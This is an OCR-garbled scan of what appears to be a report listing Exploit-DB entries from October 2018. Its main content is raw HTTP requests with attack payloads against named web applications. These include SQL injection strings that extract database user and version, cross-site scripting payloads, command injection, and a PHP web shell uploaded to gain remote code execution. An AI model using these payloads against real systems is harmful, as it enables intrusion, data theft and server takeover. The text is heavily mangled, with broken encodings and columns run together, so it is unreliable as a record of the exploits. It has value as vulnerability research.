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ManageEngine AssetExplorer
6.20 - Cross-Site Scripting

ot

POST /10.0.100.24/AssetDef .do HTTP/1.1

Host: 10.0.100.20:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:52.0)
Gecko/20100101 Firefox/52.0

Accept :

text/html ,application/xhtml+xml,application/xml:
Accept-Language: en-US.en:q=0.5
Accept-Encoding: ozip, deflate

Referer: http://TARGET/AssetDef.do

Cookie: JSESSIONID=70D4D1E0BES 1E540 1B3EBFE 1017CAESD:

JSESS |ON|DSS0=01AE09FF54898733107CD 17E60407907: sdp-
54e0-41cc-8bb2-1d462c6d3b72; nonitassets|inks=hide:
Components=hide; virtual=hide; viewlinks=hide: Softwarediv=hide:
barcodeDiv=hide: itassetslinks=show:

%5Bob j ect%20HTMLTab | eRowE | ement%50=hide

%5Bob j ect%20HTMLTab | eE | ement%50=hi de

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: appl ication/x-www-form-ur lencoded

Content-Length: 705

type!|d=98&ciTypeld=21&ci |d=nul |&ciName=%22%3E%3C img+sr c%3Dx+oner r
or%3Daler t%28%22ismai | tasde | imgt:

r ror%3Dalert ismailtasdel D=
3018C|_BaseE |ement ATTRIBUTE_302=8C|_BaseE |ement_IMPACT ID=nul |&¢
iDescr iption=8act iveState|d=2&isStateChange=4resour ceState=18ass
ignedType=Assign&asset=08user=08depar tment=0& easeStar t=&|easetn

1&locat ion=8vendor |0=08assetPr i ce=08asset Tag=8acaDate=&assetSer i
alNo=8expDate=8assetBar Code=8war rantyExpDate=8udfName3=8deprecia
tionType|d=8dec|inePercent=8usefullife=&depreciationPercent=8sal
vageValue=&isProduct InfoC! 1D=8previousSit

ol fycost=tr iatedVendor=

ManageEngine
AssetExplorer

SRR

ManageEngine
AssetExplorer
6.2.0

2018-10-01
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Cross-Site Scripting

Fork CMS 5.4.0 - Cross-Site
Scripting

POST /10.0.100.24/backend/ajax HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:62.0)
Gecko/20100101 Firefox/62.0

Accept: application/json, text/javascript, #/+: .01
Accept-Language: tr-TR,tri0=0.8,en-US:a=0.5,en:0=0.3
Accept-Encoding: gzip, deflate

Referer: https://Target/private/en/pages/add?token=2quwpxbx78,
Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
X-Requested-With: XMLHt tpRequest

Content-Length: 299

Cookie:

track=s%3A: 1e30 12f!
PHPSESS1D=1103079034ec4aBe726beaba074673 1e:

inter face_language=en: frontend_language=en: track=1:
jstree_open=page-425

Connection: close

fork5Bmodu |e%50=Cor e&for kk5Bact i on%50=Gener atelr |1&for k%58 |angua
%A

a 1%3E Ismai [+Tasde!

seFieldName=tit| Modu| es%5CPages’5
CE %5CMode | &me t! Ur |&parameter 078 %3A0%3B
%3A0%3B1%3A1%3B1 %3A0%3B i %3A2%3Bb%3A0%3B%70

Fork CMS

Fork CMS
5.4.0

2018-10-01

45509

SQL Injection

Hotel Booking Engine 1.0 -
*h_room_type' SQL Injection

POST /10.0.10024/ HTTP/1.1

Host: 10.0.100.24

User-Agent: HMozi 11a/5.0 Windows NT 6.1 WOWS4 AppleMebKit/535.7
KHTML, |ike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: x/*

Content-Type: application/x-wwi~form-ur lencoded: charset=UTF-8
Content-Length: 208

destination="AND (SELECT 66 FROM(SELECT COUNT(),CONCAT((SELECT
(ELT(66=66,1))),CONCAT_WS(0x203a20, USER( ) ,DATABASE( ) , VERSION() ),
FLOOR(RAND(0)*2))x FROM |NFORMAT|ON_SCHEMA.PLUGINS GROUP BY x)a)
AND ‘efe'='efe

Hotel Booking
Engine

Hotel Booking
Engine 1.0

2018-10-01

45510

SQL Injection

FRUGE

Education Website 1.0 -
‘subject’ SQL Injection

POST /10.0.100.24/col lege_l ist.html? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 Windows NT 6.1: WOW64 AppleWebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 842

subject=—
7'+/*I11TT1UNION#/ (/%! 11111SELECT*/0x283129%200x283229%200x28332
elect+expor t_set (5,8:=0, (

select+count (*)/*111111from«/(information_schema.columns)where@:
=expor t_set (5. expor t_set(5,@, table_name,0x3c6c693¢,2) , column_nam
e,0xa3a,2)).@,2))%2c0 1312

13229%2¢0; 0 13529%2c0x283136
O%2c0x28313729%2c0x283 1 13929%2¢0; 83:

9%200; 129%2¢0;

33129%2¢0;

0283437 834 0x28353029)—

—

City="+/%144444UN10N*/ (/*144444SELECT=/0x283129%2c0x283229%2c0x2

83329%2¢0; le por t_set (5,@:
=0, (select+count (+)/x144444from+/ (informat ion_schema.columns)

Education Website

Education
Website 1.0
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where@:=expor t_set (5, expor t_set(5,@, table_name,0x3c6c693e,2) ,col
umn_name,0xa3a,2)),@,2))

13029%2¢0; 13209%2¢
0% 13429%2c0; 13729%2
C0x28313829%2c0: 129%2¢0;
0 8303729
0; 3
0 3
9%200; 129%2c0x28343

429%2C0X2834:

3 0

country="+/x122222UNION*/ (/* ! 22222SELECT*/0x283129%2¢0x283229%2¢

lect (select+conca
t(@:=0xa7, (select+count (+)from(information_schema.columns)where(
oncat (@,0x3c6c693e, table_name,0x3a, column_nane))) @) ) )%2c0x2

83829%2¢0; 13029%2¢0; 1 1
13420%2¢0 13720%2¢0

13820%2C0x28313929%2c0) 129%2c0 8
2

o

129%2c0x28343 200%

0x2834 3420%2c0 3700%

0 0

2018-10-01

45511

SQL Injection

Singleleg MM Software 1.0 -
‘msg_id" SQL Injection

POST /menber /readnsg.php? HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 ApplellebKit/535.7
KHTML, like Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www—forn-ur lencoded: charset=UTF-8
Content-Length: 412

msg_i d=%2d%74%65%7 3%74%35%:
%A43%5¢

13%4 1 %4e%43%4 1%654%5 %5 309 51%3

1%654%4 1%42%4 1

%4t %494

1%30"
1%34%29%2

1
C%28%3 1%35%29%29%2d%2d%20%2d

Singleleg MLM
Software

Singleleg MM
Software 1.0

18-10-01

45512

SQL Injection

Binary MM Software 1.0 -
'pid" SQL Injection

POST /member /tree.php? HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 Windows NT 6.1; WOW64 ApplellebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www-forn-ur lencoded: charset=UTF-8
Content-Length: 412

msg_i d=%2d%7 4%65%7 3%7 45

%43%5¢

3%4 1 %4 e%43%4 1%654%5 %5 %30%33%6 1

1%54%41%42%4 1

%4 %49%41 1%30"

1%634%29%2
C%28%3 1%35%29%29%2d%2d%20%2d

Binary MM
Sof tware

Binary MM
Software 1.0

2018-10-01

45513

SQL Injection

Flippa Marketplace Clone 1.0
- 'date_started' SOL
Injection

POST /site-search? HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 Windows NT 6.1: WOWG4 AppleWebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www—form-ur lencoded: charset=UTF-8
Content-Length: 345

sor tBy=date_star tedk20%4 1%4e%44%20%45%58%54%52%4 1%43%54%56%4 1%4c
655%45%28%32%3 1%3 1%39%2%43%4 { %de%ha3%4 1%54%28%30%7 8%35%63%2c%43%
41%4e%43%4 1%54%5 %5, %30%33%6 1%3:

1%54%41%42%4 1 hde

36%2cH31%629%29%20%29%29

Flippa Marketplace
lone

Flippa
Marketplace
Clone 1.0

18-10-01

45514

Cross-Site Scripting

WUZHICMS 2.0 - Cross-Site
Seripting

POST /index.php? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozi 11a/5.0 Windows NT 6.1; WOWS4 AppleMebKit/535.7
KHTML, |ike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: app!ication/x-wwi-form-ur lencoded: charset=UTF-8
Content-Length: 39

v="><mar quee><h1>RENZ|</h1></mar quee>
f="><mar quee><h 1>RENZI</h1></mar quee>

WUZHICMS

WUZHICNS 2.0

2018-10-02

45518

SQL Injection

OPAC EasyWeb Five 5.7 -
‘biblio" SQL Injection

POST /easyweb/w2001/index.php? HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozi 11a/5.0 Windows NT 6.1 WOWS4 AppleMebKit/535.7
KHTML, |ike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: =/*

Content-Type: appl ication/x-wwi-form-ur lencoded: char set=UTF-8
Content-Length: 257

scel ta=campi&&bib|io=RT10AH' AND ROW(3677,8383)>(SELECT

COUNT (*) , CONCAT (0x7176627a71, (SELECT
(ELT(3677=3677,1))).0x71767a7a71,FLOOR(RAND(0)*2) )x FROM (SELECT
8278 UNION

SELECT 2746 UNION SELECT 1668 UNION SELECT 1526)a GROUP BY x)
AND

'CrYc'='CrYc&lang=

OPAC Easyleb Five

OPAC EasylWeb
Five 5.7
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2018-10-02

4551

©

Cross-Site Scripting

Coaster CMS 5.5.0 - Cross—
Site Scripting

POST /admin/pages/edit/26 HTTP/1.1
Host: demo.coastercms.org
User-Agent: Mozill1a/5.0 (Windows NT 10.0: Win64: x64: rv:62.0)

Gecko/20100101 Firefox/62.0

Accept :

text/html ,application/xhtml+xml application/xnl :g=0.9, */
Accept-Language: tr-TR,tr:0=0.8,en-US:q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://demo.coastercms.org/adnin/pages/edit/26
Content-Type: multipart/form-data: boundary=
24464570528 145

Content-Length: 842

Cookie: __cfduid=ddc0ae9991 19fa783083ea0c7 fdceOba4 1538397617
XSRF-

TOKEN=eyJpdi 161 ndLeTBr ZVimvilkdzUE9JSTAr USFOO3BRPTOILCJ2YWX 1ZS161n
15Z3J 1b0ZNQTM3TXZEZG | wdOhJZmg 12HR T bGZOWHZTcmor dkRKbnRHINVV j YUJAT |
FOSGAYNKF IWHBSd 1 0zU1Y1c3ZJQ ] Nuek9t ONSZWXESSK | 00HZ3PTOTLCJ tYWMi 01
10MzkzZj UTYWNi NDUMDRKMDVMDMWZOKNZTNNZ  GANG | 5YZMzZ ] KON2Q4Ym Yz
Y3MNZIZj g IMzV YTJmMAY21n0%3D:

laravel_session=eyJpdi |61 kNnMORoc280S j E2aF aweX | cL.zZwR2hRPTOILCJ2
YWx1ZS16 1 1doUGSxTnNaRjh2TBr QW5 NI hqU 1hCa3N | ZmhSczF | YWESMkxza3dM
WThkbFZcL2E 1VmVTRExCa3h2ckMr dD1 iajZSTjRSUnhQCE J iek 1pSj Z6VGRyZz09
1 iwibWFj | joiMmQOY jBkMmY INDQ40Dd j ONVhZWUYMDFKY2UWMT | KNTMAZMEYMGE4
Y AWMDVKYmQ30DZ i ZWUy OWMAOHQZ0DgAZS J9

Connection: close

Upgrade-Insecure-Requests: 1

e 24464570528 145
Content-Disposition: form-data: name="_token"

ZeLPiMBIJ1kjRfOtosDF MNPOXVSPV5Y | oF6092P
4464570528 14!

Content-Disposition: form-data: name="block[19]"

8145
Content-Disposition: form-data: name="block[20]"
— E— ——————24464570528145
Content-Disposition

forn-data: name="block[21]"
—————24464570528145
Content-Disposition: form-data; name="block[34]"
Search

528145
Content-Disposition: form-data: name="block[36]"
145

Content-Disposition: form-data: name="block[33]"

<p>"><img src=x onerror=alert("ismailtasdelen")>
<script>alert("lsmail Tasdelen")</script>
</p>

Coaster CMS

Coaster CMS

2018-10-02

45521

SQL Injection

2 PRUGE

OPAC Easyeb Five 5.7 -
‘nome' SQL Injection

POST /easyweb/w2001/index.php? HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 Windows NT 6.1: WOW64 AppleWebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

scel ta=campi&8&biblio=RT10AH' AND ROW(3677,8383)>(SELECT

GOUNT(*) , CONCAT (0x7176627a71, (SELECT
(ELT(3677=3677,1))),0x71767a7a71,FLOOR(RAND(0)+2) )x FROM (SELECT
8278 UNION

SELECT 2746 UNION SELECT 1668 UNION SELECT 1526)a GROUP BY x)
AND

'CrYc'="CrYc&lang=

OPAC Easyleb Five

OPAC Easyleb
Five 5.7

2018-10-03

45523

SQL Injection

Zechat 1.5 - 'uname' SQL
Injection

POST /easyweb/w2001/index.php? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 Windows NT 6.1; WOWB4 ApplellebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www—forn-ur lencoded: charset=UTF-8
Content-Length: 257

scelta=campig&bib|io=RT10AH' AND ROW(3677,8383)>(SELECT

COUNT () , CONCAT (0x7 17662747 1, (SELECT
(ELT(3677=3677,1))) ,0x71767a7a7 1, FLOOR(RAND(0) *2) )x FROM (SELECT
8278 UNION

SELECT 2746 UNION SELECT 1668 UNION SELECT 1526)a GROUP BY x)
AND

"CrYc'="CrYc&lang=

Zechat

Zechat 1.5

2018-10-03

SQL Injection

Joomla! Component Jimtaw!
2.2.7 - 'id" SQL Injection

user.edit&id=" AND EXTRAGTVALUE (66, CONCAT (Ox5c, (SELECT
(ELT(66=66,1))), CONCAT_WS(0x203a20, USER( ) ,DATABASE( ), VERSION() ) )
)= VerAyari

Joomla! Component
Jimtaw!

Joomla!
Component
Jimtaw! 2.2.7|

2018-10-04

45530

SQL Injection

LayerBB Forum 1.1.1 —
‘search_query' SOL Injection

POST /search.php HTTP/1.1

Host: 10.0.100.24

User-Agent: Mozilla/5.0 Windows NT 6.1: WOWG4 AppleWebKit/535.7
KHTML, Iike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */x

Content-Type: application/x-www—form-urlencoded; charset=UTF-8
Content-Length: 108

search_query=S' RLIKE (SELECT (CASE WHEN (111=111) THEN 0x73
ELSE 0x28 END)) AND 'X'='X&search_submit=Search

LayerBB Forum

LayerB8 Forun|
1.1.1

2018-10-05

Cross-Site Scripting

Chamilo LMS 1.11.8 - Cross-
Site Scripting

GET

Jchami | lo/main/inc/ajax/agenda.ajax.php?type=per sonal&a=add_even
t&star t=2018-10-05%2000: 00: 00&end=2018-10-

06%2000:00:008al I_day=true&view=month&t it le=Impor tant+Infodconte
nt=%3Co%3E<script>alert("Cakes"):</scr ipt>%3C%2FpH3E%OD¥0AS_af __
form= HTTP/1.1

Host: 10.0.0.16

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept: /=

Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

ONT: 1

X-Requested-Ii th: XMLHttpRequest

Referer:

http://10.0.0.16/chami | lo/main/calendar /agenda_js.php?type=perso
nal

Cookie: defaul tMyCourseView3=0;

ch_sid=04uo1hmap7e4918|36e6s9oit 1:

agenda_cook ies={%22v | ewk22:%22month%22%2C%22s tar t%22:%222018-10~
01%22}

Connection: close

Chamilo LMS

Chamilo LMS
1.8
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2018-10-06

45542

Cross-Site Scripting

Chamilo LMS 1.11.8
‘firstname' Cross-Site
Scripting

POST /chamillo/main/auth/inscription.php HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:q=0.9,*/+:q=0.8
Accept-Language: en-US,en:a=0.5
Accept-Encoding: gzip, deflate

=1

ol

Referer: http://10.0.0.16/chami | lo/main/auth/inscr iption.php
Cookie: ch_sid=ac092r01e7cnocob2rejshocad

Connection: close

Content-Type: appl ication/x-www-form-ur lencoded
Content-Length: 213

status=5&f irstname=<script>alert("Cakes"):</scr ipt>&lastname=<sc
ript>alert("Cakes"):</script>8emai|=cakes%40testers. conduser name

1= \guage ishgofficia
|_code=8extra_skype=8extra_l inkedin_ur |=&submit=8_af__registrati
on=&item_id=0

Chamilo LMS

Chamilo LMS
1.11.8

45564

Cross-Site Scripting

*® & Wikidforum 2.20 - Cross-Site
Scripting

POST /Wikidforum-com-

ed.2.20/wikidforum/index.php?act ion=sear ch&mode=search HTTP/1.1
Host: 10.0.100.24:1004

Content-Length: 428

Cache-Control : max-age=0

Upgrade-Insecure-Requests: 1

Origin: null

Content-Type: appl ication/x-www-form-ur lencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
AppleWebKit/537.36 (KHTML, Iike Gecko) Chrome/69.0.3497.100
Safari/537.36
Accept :
text/html ,application/xhtml+xml,application/xml:q=0.9, image/webp
. image/apng, */*:0=0.8

Accept-Encoding: gzip, deflate
Accept-Language: en-US.en:0=0.9

Cookie: m_username=testuser :
m_passwd=21232f297a57a5a7438%4a0e4a801fc3
Connection: close

txtsearch=38opt_search_select=forun&txt_author=3&search_display_
fieldk2550%255d=post_ratedse|ect_sor t=SQL_INJECTION

GET /Wikidforum-com-
ed.2.20/wikidforum/rpc.php?act ion=app | icat ions/post/rpc. phpamode
=post_rpc&page=1&num_recor ds=25&parent_post_id=SQL_INJECTION
HTTP/1.1

Host: localhost

Upgrade-|nsecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
AppleWebKit/537.36 (KHTML, |ike Gecko) Chrome/69.0.3497.100
Safari/537.36

Accept :

text/html,application/xhtml+xml .application/xml:
. image/apng, */*:0=0.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en:q=0.9

Connection: close

Cookie: m_username=testuser :
m_passwd=21232f297a57a5a743894a0e4a801fc3

.9, image/webp

GET /Wikidforum-com-

ed.2.20/wikidforum/rpc.php?act ion=app | icat ions/post/rpc. phpamode
=post_rpc&page=1&num_recor ds=SQL_INJECTION HTTP/1.1

Host: localhost

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64)
Applellebiit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
Safari/537.36

Accept :

text/html,application/xhtml+xml application/xnl:q=0.9, image/webp
,image/apng, */*:0=0.8

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en:q=0.9

Connection: close

Cookie: m_username=testuser ;
m_passwd=21232f297a57aba743894a0e4a801fc3

Wikidforum

Wikidforum
2.20

45682

SQL Injection

E-Registrasi Pencak Silat
18.10 - 'id_partai’ SQL
Injection

POST /nilai/monitor_nilai.php? HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 Windows NT 6.1: WOWG4 AppleWebKit/535.7
KHTML, |ike Gecko Chrome/16.0.912.75 Safari/535.7

Accept: */*

Content-Type: application/x-www—form-ur lencoded: charset=UTF-8

id_par tai=%31

%Aeka3ia 1

A o4l
%61 0% 0%78%3a%
3434 fedend 34 8 0% 37%3

6%
65%36%3 7)

1 1%2c%70%61%73

%67 3%7 7%6 f %7 2%64%20%30°

E-Registrasi
Pencak Silat

E-Registrasi
Pencak Silat
18.10




EDB-Report
BT WebffEgs 1t hL > B

N(20184E5E4M4:HA)

2018.10.01~2018.12.31 Exploit-DB(http://exploit-db.com) kD ABIEN TWSREICE IV IEIEIE M > MEHT T,

2018-10-12

45589

Cross-Site Scripting L2

LUYA CMS 1.0.12 - Cross-Site
Seripting

POST /admin/api-cms-nav/create-page HTTP/1.1

Host: 10.0.100.24: 1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Referer: https://TARGET/en/admin

Content-Type: application/x-www-form-ur lencoded: charset=UTF-8
Author ization: Bearer

53431c6c5¢75 bf a0
B05E70SdTha_KprALbv_-r496se~IhLi

X-CSRF-Token:

vHaCboMdLTmK i ufTd| r CcdmFAhmahRSL i hW4CuJKQprpGN | D4nZPd8n jkYk07 | gp
i-RFKfDgf8LTcOp4mhB34
Content-Length: 295
Cooki

okie:
_pk_id. 1.2c3a=0f1464d36bad1760. 1539204750. 1. 1539204750 153920475
_pk_ref.1. C1539204750¢ http: F
2Fwww. goog e . com%2F%22%50; PHPSESS |D=pm9625er i k3t3ddkamal8nbOu:
_csr f_admin=b5e 14644988 1bd2d 16dd32f cd2d2e02579¢ 1a19bc7e233396e
4bac99B65c23a%3A2%3A%7B | %3A0%3BsK3A 1 1%3A%22_csr f_admin%22%3B1%3A
1 jABB | tiORWOT¢ mex_%22%3B%70
Connection: close

isInline=false&nav_item_type=1&parent_nav_id=0&is_draft=0&nav_co
ntainer_id=1&lang_id=18use_draft=0&layout_id=2&from_draft_id=0&t
it1e=%22%3E%3Cscr ipt%3Ealer t (%221 sma i 1%20Tasde | en%22)%3C%2Fscr ip
t%3E8&al ias=ur |-address—

testadescr iption=422%3E%3Cscr ipt%3Ealer t (%22| smai |%20Tasdelen%22
J%3Ck2Fscr iptH3E

LUYA CMS

LUYA CMS
1.0.12

45692

Cross-Site Scripting E)

o

CAMALEON CNS 2.4 - Cross-Site
Scripting

POST /admin/media/upload?actions=false HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: */x

Accept-Language: en-US.en:a=0.5

Accept-Encoding: gzip, deflate

Referer: http://demo-7728.tuzitio.com/admin/profile/edit
X-CSRF-Token :

04mT8cg18Rxhp i 7fYr 9kRRvACNn2dSZX JMobFeyOynVVMa3aD 1pb | XDebhV3B2YwR
ttvYyoRLRINT50GI qX6fNw==

X-Requested-With: XMLHt tpRequest
Content-Length: 1575324

Content-Type: multipart/form-data: boundary=
****** -85707368319206533892056530265
Connection: close

——————857073683192(
Content-Disposition: form-data: name="file_upload":
filename="#"><img src=x onerror=alert(#"ismailtasdeleni")>.jpg"
Content-Type: image/jpeg

CAMALEON CMS

CAMALEON CMS
2.4

2018-10-12

4559

®

Cross-Site Scripting L2

SugarCRM 6.5.26 - Cross-Site
Seripting

/sugarcrn/include/javascr ipt/yui/bui Id/uploader /assets/uploader .
swi?allowedDomain=%22})))}catch(e){aler t%20(/XsS/): }
Content-Length: 196

/sugarcrm/include/javascript/yuid/build/io/io.swf?yid=#%22)): }ca
teh(e){alert('Xss'):}

/sugarcrm/include/SugarChar ts/Jit/FlashCanvas/f |ashcanvas.swf?id
=123456781%22) ) ; Jcatch(e){aler t (%27XSS%27) }

Sugar CRM

Sugar CRM
6.5.26

2018-10-15

45596

QL Injection 2

Academic Timetable Final
Build 7.0a-7.0b - 'id' SQL
Injection

GET /timetable_pdf_content.php?master=faci|ity&id=—
66%27%20%20/* ! 1111 1un | oN+/%20%20/ ! 11111sE1 ECT*/%200x3636%2c0x36
36%2c0x3636%2c0x3636%2c0x3636%2c0x3636%2c (/! 11111Se|Ect */%20Con
Cat20(@:=0%2c(/*! 11111Se|Ect*/%20CoUnt (*)%20/+! 111111 rOm*/%20/*
111111inFORmat ion_schema. tables#/%20/+!11111wHer Ex/ (TabLE_SCheMA
1=0x696666 72661 . 1)anD@:=ConCat%20(@%2c0x3
©62723e%2c/+! 11111table_name+/))%2c@) )%2c0x3636%2c0x3636%2c0x363
6%2c0x3636—%20%20~ HTTP/1.1

Host: 192.168.1.27

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0

Accept :

text/html,application/xhtml+xml application/xml:q=0.9,*/*:
Accept-Language: en-US,en:a=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html: charset=UTF-8

Academic Timetable
Final Build

Academic

Timetable
Final Build
7.0a-7.0b

45601

Cross-Site Scripting E)

AlchemyCMS 4.1 - Cross-Site
Scripting

POST /admin/pictures HTTP/1.1

Host: 10.0.100.24:1004

User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:60.0)
Gecko/20100101 Firefox/60.0

Accept: application/json, text/javascript, =/+; g=0.01
Accept-Language: en-US,en:q=0.5

Accept-Encoding: gzip, deflate

Q0ar zQVTUTma/ f QeYxILYtmRANDCxkaV5FeGyaj g0t
SXMs7r9xms7Wod4PEPSHTg==
X-Requested-With: XMLHt tpRequest
Content-Length: 1574870
Content-Type: multipart/form-data: boundary=
——————10875577401849011681645409128
Connection: close
e —10875677401849011681645409128
Content-Disposition: form-data: name="utf8"

an

-10875577401849011681645409128
: form-data; name=" /_token"

Content-

JKsYsqT3I3CI7GAKNBLEX0C
WOKOSsRHz5vb4LTOGA==
-10875577401849011681645409128
Content- : form-data; name="pi I_hash]"
2507832911685091350
-10875577401849011681645409128
Content-Di ition: form-data; name=' :_file]";
filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg

AlchemyCMS

AlchemyCMS
4.1
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POST /login.php HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozill1a/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html,application/xhtml+xml,application/xml:g=0.9,*/*
Accept-Language: en-US,en:a=0.5
College Notes Management - PO College Notes:
2018-10-15 | 45603 SQL Injection & L Systen 1.0 - 'user' SoL  |Aocept-Encoding: gzip, deflate College Notes 1%y - ement
: Connection: keep-alive Management System
Injection . P System 1.0
Content-Type: app|ication/x-www-form-ur|encoded
Content-Length: 240
user="%20aND%20(Se | eCT%207804%20F r oMl(Se | eCT%20COUNT (+) , ConCaT ((S
©eCT%20(ELT(7804=7804,1))),ConCaT_WS(0x203a20, usER( ) ,DaTaBaSE ()
JVERSIon()),F100R(RaND(0)*2) ) x%20F r oM%20 INFORMaT | on_SCHEMa . PLug |
NS%20Gr oUP%20BY%20x ) a)——%20E f e&pass=&Iogin=Iogi
POST /hrm/user /update-user-avatar HTTP/1.1
Host: 10.0.100.24:1004
User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64: rv:60.0)
Gecko/20100101 Firefox/60.0
Accept :
text/html,application/xhtml+xml application/xnl:q=0.9,*/*;q=0.8
Accept-Language: en-US.en:0=0.5
Accept-Encoding: gzip, deflate
Referer: http://domain/hrm/user /edit-profile
Content-Type: multipart/form-data: boundary=
****** 6610657524685
Remote Cod Content-Length: 378
emote Code - jon:
2018-10-15 45604 2 & Advanced HAll 1.6 - Remote [Connection: close Advanced Ha | Advanced HRM
Execution Code Execution Upgrade-Insecure-Requests: 1
10657524685
Content-Disposition: form-data: name="image": filename="cmd.php"
Content-Type: application/octet-stream
<?php $cmd=$_GET['cnd']: system($cmd): 7>
. e 6610657524685
Content-Disposition: form-data: name="_token"
YHFLEPNGY In502K7SAPHGBUVJG020
——————————————————— 6610657524685
POST /index.php/user/log_activity HTTP/1.1
Host: 10.0.100.24
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:45.0)
Gecko/20100101 Firefox/45.0
Accept :
text/html ,application/xhtml+xml,application/xml; .8
Accept-Language: en-US.en:q=0.5
Accept-Encoding: gzip, deflate
Cookie: ci_ i 16703fa5d0d327b84074«
Connection: keep-alive
Content-Type: application/x-www-form-ur|encoded
Naxon ERP Sof tware 8.x-9.x ~ | nomor =427%20%4 1%4ckdso0 e faxon ERP
10 = 4 ! .
2018-10-15 45605 SQL Injection Pl L "nomor " SQL Injection e AETE (%6 MaxOn ERP Sof tware Snftwgri 8.x
1%430%31%20%3 1 :
1974%6 1%62%6 1 0%5¢
user=%27%20%4 %4 1964 3%54%56%4
2%32%20%A43%4 f hde%d3hd 1%54%28%3C 2%7 3%69%6 f %6e
1%30%31%2c%3 1%
1%674%61%662%6 1
jenis=h27%20%4 1%4e%44%20" %4 1%43%54%56%4 1
%4341 %dehd3nud o7 3%69%61%6
54%20" 1%3d%3 1%2c%3 1
1%74%61%62%6 1 0%5¢
GET
/adnin/index.php?service_star t=opendk imf3bexpr %2026840924 1%20~
%202%3px HTTP/1.1
Content-Length: 526
Host: 10.0.100.24:1004
Accept :
text/html ,application/xhtml+xml,application/xml:q=0.9, image/webp
. image/apng, */*:4=0.8
it gzl Centos Web
2018-10-15 | 45610 | command Injection % & Centos Web Panel 0.9.8.480 - | Accept-Encoding: gzip, deflate Centos Web Panel anel
Multiple Vulnerabilities |Accept-Language: en-us,en:q=0.5
. 0.9.8.480
Cache-Control : no-cache
Cookie: cwpsrv—
983b3c1 a7941alef2fbi67=jhg556f. d0pps6:
resolve_ids=0; roundcube_sessid=j2h7adikbico] i7hba2bospi|5;
order_dir_list_by=70
Referer: http://localhost:2030/admin/
User-Agent: Mozilla/5.0 (Windows NT 6.3: WOW64)
ApplellebKit/537.36 (KHTML, Iike Gecko) Chrome/54.0.2840.99
Safari/537.36
Jadmin/fileManager2.php?frame=38act ion=8acmd_arg=design&fm_curre
nt_dir=<scRipt>alert(1)</scRipt>
/admin/index. php?modul e=<scRipt>aler t (1)</scRipt>&file=/etc/sysc
onfig/selinux
/admin/index.pho?service_star t=<scRipt>alert(1)</scRipt>
- Centos Web Panel 0.9.8.480 — | /adnin/index.pho?service_ful Istatus=<scRipt>alert(1)</scRipt> Centos Heb
2018-10-15 45610 | Cross-Site Scripting Ll L N AR B - Centos Web Panel Pane!
Multiple Vulnerabilities 0.9.8.480
/adnin/index.php?service_restar t=<scRipt>alert(1)</scRipt> U
/admin/index.pho?service_stop=<scRipt>alert(1)</scRipt>
/adnin/index.php?module=file_editor&file=<scRipt>alert(1)</scRip
Jadmin/index.php?modul e=<scRipt>alert(1)</scRipt>&dir=/var/log
GET /ajax/control.php?act ion=assocSear ch8pid=1&sid=18cid=—
